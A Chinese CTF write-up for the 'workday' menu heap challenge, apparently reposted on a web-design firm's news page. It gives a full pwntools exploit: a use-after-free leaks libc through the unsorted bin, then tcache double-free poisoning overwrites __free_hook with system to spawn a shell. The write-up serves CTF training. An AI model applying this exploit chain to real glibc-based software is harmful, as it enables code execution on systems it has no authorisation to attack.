ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

CTF Pwn堆利用:UAF与tcache劫持__free_hook

CTF Pwn堆利用:UAF与tcache劫持__free_hook 1. 先看附件再看反编译拿到傻fufu的工作日的头十分钟PWNHUB 公开赛 2018 那道傻fufu的工作日附件解开就两个文件一个叫 workday 的 ELF外加一份 libc-2.27.so。这种题目 libc的打包方式在 2018 年前后的 CTF 里特别常见基本等于出题人替你写明了一句话最后那条利用链要落到 libc 里的某个函数指针上别拿自己机器上那份 libc 去凑偏移。很多人看到题名带个傻 fufu第一反应是道搞笑题进去之后才发现是标准的菜单式堆题只不过把增删改查包装成了打卡、写日报、交周报、看日志这套职场玩具外壳。我自己的习惯是先不打开 IDA。IDA 的交叉引用和反编译确实好看但它会把你拉进函数细节里头十分钟应该用来回答三个宏观问题这是什么架构、开了哪些保护、程序在用户交互层面到底提供哪些动作。这三个问题清楚之后再去啃汇编效率差好几倍。下面就把我实际复现这道题的完整流程拆开讲包括中间判断错方向、走了弯路的那些环节因为那些地方恰恰是同类题最容易卡住的地方。1.1 从文件名、保护机制和 libc 版本推断出题人的意图拿到文件先跑三件事顺序有讲究$ file workday workday: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped $ checksec --fileworkday Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)not stripped是个好消息函数名都在符号表能直接告诉你哪些是自写的业务函数、哪些是库函数。No PIE意味着全局数组、GOT 表这类地址在每次运行时都是固定的0x400000 起的那一段可以直接写死在 exp 里。Partial RELRO说明 GOT 可写理论上存在改写 GOT 表项这条路——不过在 libc 2.27 环境下用堆漏洞去改 GOT 反而绕远因为堆上的写原语天然更适合去打__free_hook这个后面细说。libc 版本是 2.27这个信息量很大。2.26 是 tcache线程本地缓存正式进主线的版本2.27 延续了它而且 2.27 的 tcache 里对 double free 没有任何校验——e-key那个字段的检查是 2.29 才加进去的。换句话说只要你手上有一个同一块内存能连 free 两次的机会tcache poisoning 这条路在 2.27 上是畅通的。出题人给 2.27 而不是 2.23基本就是在暗示你走 tcache。顺带说一句附带的 libc 一定要在自己的调试环境里替换掉系统那份。做法是把题目 libc 拷到工作目录然后$ patchelf --set-interpreter ./ld-2.27.so --replace-needed libc.so.6 ./libc-2.27.so ./workday或者直接用 pwntools 的process([./ld-2.27.so, ./workday], env{...})。这一步不能省我见过太多次本地跑通、远端炸掉最后发现是本地 libc 是 2.31、题目是 2.27__free_hook偏移差了十万八千里。1.2 菜单点一遍比对照反编译窗口更快读懂程序在干什么把程序跑起来看到的是这么一套文本菜单 傻fufu的工作日 1. 打卡新建任务 2. 改日报编辑任务 3. 下班删除任务 4. 看日志查看任务 5. 摸鱼退出 这五个动作对应到堆操作就是 add / edit / delete / show / exit。CTF 里这套菜单模板被复用了十几年因为出题和解题双方都省事。你要做的是逐个点一遍并且故意输入一些边缘值看程序怎么反应。我点的时候记了这么几条新建的时候问length:先输0程序回了一句长度不对就返回菜单说明 0 被过滤了输-1直接被当成极大值处理程序崩溃在 malloc 上说明长度用的是size_t或者int但没有下界检查的上界处理。新建的时候还问一块content:而且不限制你输入多少字节用sendline发一长串它照单全收。这个地方就是后面要利用的第一个入口。查看的时候把内容原样打出来我塞进去的AAAA一个不少地回来了而且是连着回车后面的内容一起打的说明打印用的是write或者按固定长度输出而不是printf(%s)遇到\x00就停。删除之后再看同一个下标程序居然还能把内容打出来打印的内容也不是乱码而是正常的字节。这一条几乎是题目直接送到脸上的 UAF。提示菜单程序读输入的方式要提前确定。如果它用read读菜单选项你发1\n和发1后面的处理会不一样如果它用scanf(%d)那缓冲区里残留的换行符会让下一次read读到空串。我一般先用sendline试出问题再换send这个细节会直接影响脚本能不能跑。1.3 把功能抽象成结构体是后面所有推导的地基点完菜单心里要有一个粗略的数据结构。这道题的结构是两道全局数组char *note_ptr[16]; // 每个下标的任务内容指针 size_t note_size[16]; // 每个下标的申请长度下标从 0 到 15写死在 .bss 段里。note_ptr存的是malloc返回值note_size存的是用户输入的长度。用 IDA 打开按ShiftF7看 .bss 段这两个数组的地址一眼就能找到因为not stripped符号名可能就叫notes和sizes之类。这个抽象为什么重要因为它决定了后面所有推理的起点你说下标 3 的堆块到底指的是note_ptr[3]这个指针还是它指向的那块内存混淆这两个概念是后面算错偏移、写错字节的第一大来源。我建议在纸上或者注释里统一写成chunk3 notes[3]凡是用下标做参数的地方先转成指针再说。还有一点要确认note_size记录的长度和malloc实际分配出来的大小不是一回事。用户输入0x100malloc(0x100)返回的 chunk 大小是(0x100 8 15) ~15 0x110。这个换算关系后面每次计算偏移都要用值得单独列个表用户请求长度实际 chunk 大小释放后首先落入哪里0x80x20tcacheidx 00x180x20tcacheidx 00x680x70tcacheidx 50x1080x110tcacheidx 150x4080x410tcache 上限仍在 tcache 内0x4100x420超出 tcache进入 unsorted bin最后两行的区别是本篇的命门。tcache 默认能装下的最大 chunk 是 0x410请求 0x408 得到的 chunk 刚好卡在上限里还是会被 tcache 收走只有请求 0x410 及以上free才会把它交给 unsorted bin。很多人在这道题上卡了半天找不到 libc 泄漏问题就出在申请的长度大了或者小了一点chunk 全被 tcache 吞了。2. 还原日报系统的内存布局四个操作对应哪几行汇编进入 IDA 之后不要按顺序从头读先看main的菜单分发逻辑一般是一个while(1)里套一个switch。把四个 case 对应的函数跳过去各自独立看。这四个函数都不长加起来不到两百行汇编认真过一遍一小时足够。2.1 add 的长度参数里藏着最容易被忽略的破绽新建任务的伪代码大致是这样void add_note(void) { int idx pick_free_index(); if (idx 0) { puts(工位满了); return; } printf(length: ); size_t len; scanf(%lu, len); if (len 0 || len 0x1000) { puts(长度不对); return; } note_ptr[idx] malloc(len); note_size[idx] len; printf(content: ); read(0, note_ptr[idx], len); // 关键在这行 }注意最后那行read(0, note_ptr[idx], len)。它按你声明的长度读读多少写多少看上去没有溢出——因为它就是按len读的。但是如果malloc失败返回 NULL 而程序没检查read就往 0 地址写这在 CTF 里偶有用到但不是这题的重点。真正的重点在编辑函数里。2.2 show 的打印长度决定了它能不能当泄漏工具用查看功能的实现void show_note(void) { int idx read_index(); if (idx 0 || idx 16) return; if (!note_ptr[idx]) { puts(这个工位是空的); return; } write(1, note_ptr[idx], note_size[idx]); putchar(\n); }两个细节值得记下来。第一它判断的是note_ptr[idx]非空而不是是否已经释放。如果删除时没有把note_ptr[idx]置空那么已释放的 chunk 依然能通过这个检查write就会把堆块里的内容打出来——包括free之后被 libc 写进去的fd/bk指针。这就是 UAF 读出 libc 地址的通道。第二输出用的是write(1, buf, size)而不是printf(%s)。前者不受\x00影响意味着堆块里任何字节都能被完整读出来后者遇到\x00就截断泄漏地址时经常只能拿到半截。这道题是前者属于出题人手下留情。2.3 free 只释放不置空UAF 就这样被留在了题目里删除功能的伪代码void delete_note(void) { int idx read_index(); if (idx 0 || idx 16) return; if (!note_ptr[idx]) return; free(note_ptr[idx]); // 注意没有 note_ptr[idx] NULL; // 注意没有 note_size[idx] 0; }两行注释就是这道题的全部漏洞。free之后指针还在长度还在于是你能对一块已经归还给分配器的内存做三件事读、再次释放、写。读可以泄漏再次释放构成 double free写可以改fd指针。三道菜全齐。编辑功能的伪代码则是void edit_note(void) { int idx read_index(); if (idx 0 || idx 16) return; if (!note_ptr[idx]) return; printf(content: ); read(0, note_ptr[idx], note_size[idx]); // 用的是旧的 size }因为note_size[idx]在删除时没被清零编辑已释放的 chunk 时读入的长度还是当初申请的长度。对于改 tcache 的 fd 指针这个需求长度只要大于 8 就够了所以这里刚好够用。到这一步漏洞模型已经完整UAF 读 UAF 写 double free。接下来全是工程活。3. 把 chunk 放进 unsorted bin 拿到 libc 基址的完整操作序列堆题的固定套路是先泄漏 libc再打目标。泄漏的手段无非几种unsorted bin 里的fd/bk指向main_arena附近的固定位置这是最经典的一种。这道题走的就是这条路。3.1 为什么 0x100 的堆块怎么 free 都进不了 unsorted bin先解释一下 liberaris 里free的走向。一个 chunk 被free的时候分配器按顺序问几个问题大小在 fastbin 范围内吗在 tcache 范围内并且对应 tcache 没满吗只有这些都说不它才考虑合并、然后挂到 unsorted bin 的链表上。2.27 里 tcache 的容量是每个大小档位最多 7 块。所以哪怕你申请一个 0x110 的 chunkfree 第一次它进 tcachefree 第二个不同地址的同尺寸 chunk 它还是进 tcache一直到第 8 个才会掉进 unsorted bin。这就是为什么很多人写add(0x100, bA) free(0) show(0)然后发现show出来的前 8 个字节全是 0或者全是自己之前写进去的A压根看不到 0x7f 开头的地址。不是脚本写错了是这个 chunk 根本没离开 tcache它的fd字段是 tcache 链表里的下一个指针不是 libc 地址。绕开的办法有两个。第一个是按教科书写法把同尺寸的 tcache 槽位用 7 个 chunk 灌满第 8 个自然落到 unsorted bin。第二个更省事直接申请一个超过 tcache 上限的尺寸让分配器一开始就不考虑 tcache。上限是 0x410那我申请 0x500得到的 chunk 是 0x510free之后直接进 unsorted bin。这道题我用的是第二种脚本更短出错点更少from pwn import * context(log_levelinfo, archamd64, oslinux) p process([./ld-2.27.so, ./workday]) libc ELF(./libc-2.27.so) def add(size, content): p.sendlineafter(b , b1) p.sendlineafter(blength: , str(size).encode()) p.sendlineafter(bcontent: , content) def free(idx): p.sendlineafter(b , b3) p.sendlineafter(bindex: , str(idx).encode()) def show(idx): p.sendlineafter(b , b4) p.sendlineafter(bindex: , str(idx).encode()) def edit(idx, content): p.sendlineafter(b , b2) p.sendlineafter(bindex: , str(idx).encode()) p.sendlineafter(bcontent: , content) add(0x500, bB * 8) # idx 0 add(0x20, bC * 8) # idx 1用来挡住 top chunk 的合并 free(0) show(0)第三个 chunk 为什么必须有因为 0x510 这块 chunk 释放之后如果它紧挨着 top chunk分配器会把它和 top 合并于是 unsorted bin 里空空如也你也读不到 libc 指针。中间夹一个 0x20 的小块当隔离带这条链才挂得住。这是我在本地调试时最容易忘记的一步忘记之后现象是show出来的地址既不是 0x7f 开头也不是堆地址而是一个完全陌生的值第一次遇到会以为是偏移算错。3.2 第一次泄漏拿到的那个值到底指向哪里把上面的脚本跑起来show(0)打出来的前 16 个字节是两个相同的 64 位地址。这个地址是main_arena 0x60也就是 unsorted bin 链表头的地址。为什么是0x60而不是0因为main_arena这个结构体开头的 0x60 字节放的是 mutex、flags、fastbins 数组之类的东西真正的 bin 数组包括 unsorted bin 的头节点从 0x60 偏移才开始。fd和bk指的就是这个头节点所以泄漏值等于main_arena 0x60。拿 libc 基址的算法leak u64(p.recv(6).ljust(8, b\x00)) libc_base leak - 0x3ebca0 print(hex(libc_base))0x3ebca0这个常量是main_arena 0x60在 Ubuntu 18.04 的 libc 2.27 里的偏移也就是main_arena本身在0x3ebc40。这个数字不是通用常量它随 libc 版本和编译选项变化。Ubuntu 16.04 的 libc 2.23 里是0x3c4b78一些 Debian 编译版本又不一样。提示拿到附带 libc 之后第一时间确认这几个关键偏移main_arena、__malloc_hook、__free_hook、system、/bin/sh字符串。用 pwndbg 把 libc 单独加载p main_arena、p __free_hook各打一遍和基址相减就是偏移。也可以写个小脚本用ELF(./libc-2.27.so).symbols直接读符号表一次搞定。0x3ebca0还有一个用法上的细节由于p.recv(6)只收 6 个字节高位补零之后如果基址不是落在0x7f开头说明要么泄漏的位置不对要么ljust的方向写反了。u64是小端解包recv(6).ljust(8, b\x00)是对的写成rjust出来的值会大得离谱。3.3 用两次 show 交叉验证泄漏值是否可信单次泄漏容易骗自己。我一般会在同一块 chunk 上连续show两次中间不做任何操作。如果两次读到的地址完全一样说明这个值是从 unsorted bin 的fd里读的是稳定的如果第二次变成了别的值说明这块内存被人动过可能你之前插进去的小 chunk 被合并了或者分配器在处理别的请求时顺手改了链表。再一个验证方法把算出来的libc_base和vmmap里的 libc 映射区间比一下。在 gdb 里vmmap能看到类似0x7ffff79e2000 0x7ffff7bc9000 r-xp /home/ctf/libc-2.27.so的输出那么libc_base就应该落在这个区间的起点附近。差值如果是页对齐的末三位为 0基本就对了如果差出来是 0x123 这种奇奇怪怪的数回去检查偏移常量。我在这道题上第一次算出来的基址末三位是 0xca0看着像是没减去偏移一度以为是常量写错了。后来发现是脚本里show抓取的时候把菜单提示也读进了缓冲区recv(6)截错了位置。修法很简单show之后先p.recvuntil(bcontent: )或者按固定长度recv(8)再拼别裸收。4. tcache poisoning 打 __free_hook从构造到本地打通libc 有了剩下的是往哪写、怎么写。2018 年那会儿最流行的目标就是__free_hook——free函数的第一行会检查这个钩子只要非空就跳过去执行。把它改成system然后free一块内容为/bin/sh的 chunk就是 shell。4.1 2.27 版本的 tcache 为什么没有 double free 检查tcache 的结构是一个线程私有的结构体在堆区最开始的那块内存上包含 64 个char counts计数2.27 里是单字节2.30 之后扩成uint16_t和 64 个entries头指针。free一个 chunk 进 tcache 时会把它挂到entries[idx]链表的头部并把 chunk 的前 8 字节也就是 user data 的开头写成原来entries[idx]的值。因为链表的插入在头部、取出也在头部如果你把同一个地址连续 free 两次链表里就出现两个指向同一地址的节点。第一次malloc从链表头取走一个返回这个地址第二次malloc再取走另一个还是这个地址。于是你可以在第一次拿到它的时候改写它的fd第二次malloc就会把fd指向的地址当成下一个待分配块返回——这就是 tcache poisoning。2.29 之后 glibc 在释放时加了e-key tcache的检查第二次 free 同一个 chunk 会因为 key 已经写好而被识别出来。绕过的办法是先edit把 key 改掉或者用 fastbin 那套。但这题是 2.27不需要这些花活直接连 free 两次就行。4.2 三次 add 完成指针劫持的写入路径拆解具体脚本free_hook libc_base libc.symbols[__free_hook] system libc_base libc.symbols[system] add(0x20, b/bin/sh\x00) # idx 2 free(2) free(2) # 连续两次tcache 链上出现两个相同节点 add(0x20, p64(free_hook)) # 第一次取出改写 fd 指向 __free_hook add(0x20, b/bin/sh\x00) # 第二次取出把链表头变成 free_hook add(0x20, p64(system)) # 第三次取出这次返回的就是 free_hook free(2) # 触发 __free_hook也就是 system(/bin/sh) p.interactive()把这段拆开看每一步在内存里发生了什么。第一步free(2); free(2)之后tcache 对应档位的链表头指向该 chunkchunk 的前 8 字节写的是链表原来的头很可能是 0 或者之前的地址。第二次 free 之后同一个 chunk 又被插了一次此时它前 8 字节写的还是它自己——因为链表的头就是它本身。这就是fd chunk的自环。第二步第一个add(0x20, p64(free_hook))分配器把链表头取走也就是这个 chunk 本身然后读取 chunk 前 8 字节作为新的链表头也就是entries[idx] chunk。接着read把你的输入写进 user data于是chunk被覆盖成free_hook。链表头现在指向free_hook。第三步第二个add分配器从链表头取出free_hook作为返回地址……等一下这里顺序要注意上一句取走的其实是链表头返回给用户的是那个 chunkentries更新为free_hook。所以这次add返回的还是同一块 chunk链表头是free_hook。第四步第三个addentries[idx]是free_hook分配器把它当作空闲块返回同时把free_hook前 8 字节当作新的链表头读走。返回给你的指针就是free_hook本身read往这里写system。至此__free_hook system。第五步free(2)free检查钩子非空跳到system并把 chunk 地址当参数传进去。因为这块 chunk 的内容是/bin/sh\x00所以system(/bin/sh)拿到 shell。注意这三步分配中间不能插入任何其他堆操作。任何一个无关的malloc或free都会打乱链表顺序导致最后返回的地址不是free_hook。写 exp 的时候把这段当成一个原子块别在中间加调试用的打印语句。4.3 本地打通之后远端环境差异怎么处理本地能拿到 shell剩下就是换process为remote。这一步的坑主要集中在三个地方。第一是 libc 偏移的确认。用libc.symbols[__free_hook]取符号是可靠的前提是ELF()加载的确实是题目给的那份 libc。如果用的是系统 libc 找符号、用题目 libc 的泄漏算基址符号偏移对不上写入的位置就是错的现象是free之后程序静默退出而不是给 shell。第二是输入时机。本地进程响应快sendlineafter稳稳当当远端有网络延迟某些题目中间还有sleep或者alarm。稳妥的做法是把所有交互都换成等提示符的方式别用sleep(0.1)这种赌运气的写法。第三是地址里\x0a的处理。p64(free_hook)里如果恰好某个字节是\x0a被read读入时不会有问题read是二进制安全的但如果程序用的是scanf(%s)或者gets遇到换行就截断。这题用的是read所以安全。判断依据是看汇编里的调用是readplt还是__isoc99_scanfplt。这个细节在本地看不出问题到了远端表现成神秘失败非常难查。5. 调试现场的六个翻车点与对应的检查方法堆题的价值一半在思路一半在调试。下面这些是我在做这道题以及后来同类题时反复踩到的点写出来比给答案更有用因为这些坑换一道题还会遇到。5.1 泄漏出来是 0x7f 开头却算不出合理基址现象是leak看着像 libc 地址减完偏移得到的libc_base却是个奇怪的数或者libc_base 0xfff ! 0。原因通常有四个按顺序排查排查项检查方法常见结论泄漏位置错位在 gdb 里x/4gx chunk_addr看堆块实际内容多读/少读了菜单提示字符偏移常量用错p/x main_arena和 libc 基址相减用了别的发行版的常量取值长度不对recv(6)还是recv(8)高两字节补零方式反了大小端理解错u64是否用了u32拼接32 位题和 64 位题混淆我遇到最多的是第一项。菜单程序里提示符后面不带换行recv(6)很容易把提示符的一部分吃进去。最笨也最可靠的办法是先把show的完整输出打出来看一眼p.recvuntil(bindex: ) p.sendline(b0) data p.recv(64) print(hexdump(data))人眼看一遍字节比在脑子里推recvuntil的边界快得多。5.2 chunk 合并导致 unsorted bin 里什么都没有现象是show出来的前 8 字节是 0 或者是你之前写进去的内容。原因是这块 chunk 被free之后和相邻的空闲块或者 top chunk 合并了合并后的块虽然还在 unsorted bin但fd/bk的写入位置可能被你原来写的内容覆盖或者你读的位置根本不是fd所在的那个 16 字节。解法是保证被释放的 chunk 两侧都不是空的。典型做法就是前面提过的夹心大块、小块、小块。中间那个小块可以很小0x20 就够它的作用不是保存数据只是占住位置阻断合并。还有一个变体如果你释放的是最后一个 chunk它会和 top 合并fd/bk不会被写成main_arena 0x60而是被写成main_arena 0x60之外的另一个位置。这就是为什么有时候你能读到地址但算不对。5.3 malloc 卡死、gdb 报 corrupted tcache 的排查顺序脚本跑到一半挂住或者 gdb 里提示malloc(): corrupted top size、free(): invalid pointer八成是链表被写坏了。排查顺序建议这样先确认劫持的地址是不是 16 字节对齐。__free_hook是全局变量对齐没问题但如果你改成往别的地址写要注意对齐要求。在 gdb 里断在每次malloc前用bins看 tcache 各档位的链表。pwndbg 的bins会把 tcache、fastbin、unsorted bin 都列出来非常直观。用vis_heap_chunks或者heap看 chunk 的大小字段有没有被写坏。最常见的是fd写错了导致下一块 chunk 的头被当成数据。打x/8gx到目标地址确认写入的值是不是system。我在这一题的第一次尝试里把p64(free_hook)写成了p64(free_hook 8)链路依然能走通但最后malloc返回的地址偏了 8 字节写进去的system落到了free_hook后半部分程序在free的时候直接段错误。这种差一位的问题靠读代码看不出来靠 gdb 单步十秒钟就能定位。6. 把这道题抽象成模板菜单堆题的通用解题节奏这道题本身不算难但它把堆题里几乎所有基础要素都用了一遍菜单抽象、UAF、堆布局控制、unsorted bin 泄漏、tcache 利用、钩子劫持。做完之后值得把流程固化成自己的习惯下次遇到同类题能省一大截时间。6.1 一套可以套用到同类题目的分析顺序我现在拿到菜单堆题固定按这个顺序走filechecksec确定架构、保护、是否 stripped。跑一遍程序把所有菜单项点一遍故意输边界值记录哪些输入被过滤。用 IDA 只看菜单分发和四个业务函数画出用户输入 → 内存操作的对应表。找出所有对已释放内存的操作判断是 UAF 读、UAF 写还是 double free。写一个最小脚本先实现 add/free/show/edit 四个函数封装跑通交互。先做泄漏用超过 tcache 上限的 chunk 进 unsorted bin读出main_arena。再做写入确认目标__free_hook、__malloc_hook、GOT构造 tcache poisoning。本地打通再换remote。这个顺序的关键是第 5 步——先把交互封装写好再去写利用。我见过太多人一边调漏洞一边改sendlineafter的字符串两头都在动出问题根本不知道是哪边错了。封装写好之后add(0x20, bX)就是一行代码调试成本降一个数量级。6.2 我自己的 pwntools 调试脚本骨架下面这套骨架我几乎每题都改改就用from pwn import * BIN ./workday LIBC ./libc-2.27.so context.update( log_leveldebug, archamd64, oslinux, terminal[tmux, splitw, -h], ) elf ELF(BIN) libc ELF(LIBC) def start(): if args.REMOTE: return remote(target.example.com, 9999) if args.GDB: return gdb.debug([BIN], gdbscript set follow-fork-mode child b *0x400abc c ) return process(BIN) def add(size, data): p.sendlineafter(b , b1) p.sendlineafter(blength: , str(size).encode()) p.sendlineafter(bcontent: , data) def free(idx): p.sendlineafter(b , b3) p.sendlineafter(bindex: , str(idx).encode()) def show(idx): p.sendlineafter(b , b4) p.sendlineafter(bindex: , str(idx).encode()) def edit(idx, data): p.sendlineafter(b , b2) p.sendlineafter(bindex: , str(idx).encode()) p.sendlineafter(bcontent: , data) p start() # ... 利用代码几个值得说明的地方。terminal[tmux,splitw,-h]能让 gdb 在分屏里打开你可以一边看堆、一边手动敲命令比纯脚本调试舒服得多。context.log_leveldebug在开发阶段开着所有收发都打出来能立刻发现程序其实没读到你的输入这类问题稳定之后关掉输出清爽。def start()里用args.REMOTE/args.GDB做开关跑的时候python3 exp.py REMOTE就直接打远端不用改代码。这是最基本但收益最高的一个工程习惯。6.3 关于比赛节奏的一点个人体会最后说点方法论层面的。这道题我当年在现场没做出来赛后复现的时候总共花了两个多小时。回看卡住的点全都是可以在前十分钟规避的一是没确认 libc 版本就直接用系统偏移二是泄漏的 chunk 被 top 合并了没意识到三是急着写利用链交互封装都没写利索。CTF 里的堆题其实是个信息收敛的过程。前期每确认一个事实——保护开了什么、libc 是哪个版本、菜单每一项对应哪个内存操作——后面就少一次猜测。真正难的不是那几行 pwntools而是你能不能在前二十分钟里把题目压缩成我有三个原语读已释放内存、写已释放内存、重复释放这句话。能压缩出来剩下的就是查手册和调 gdb压缩不出来再多的技巧也是碰运气。另外提一句心态上的事这类题在现场做不出来很正常尤其是第一次接触 tcache 的人。赛后把附件留着把脚本从头自己写一遍比看十篇别人的 writeup 都管用。我自己的习惯是每道题建一个目录里面放exp.py、notes.md和几张调试截图过半年回头看能立刻想起当时卡在哪那些东西才是真正沉淀下来的。提示把每次成功的泄漏值和算出的 libc 基址记在笔记里。同一场比赛的几道题经常共用一份 libc一次确认过偏移后面几道题可以直接复用能省下大量重复劳动。
返回列表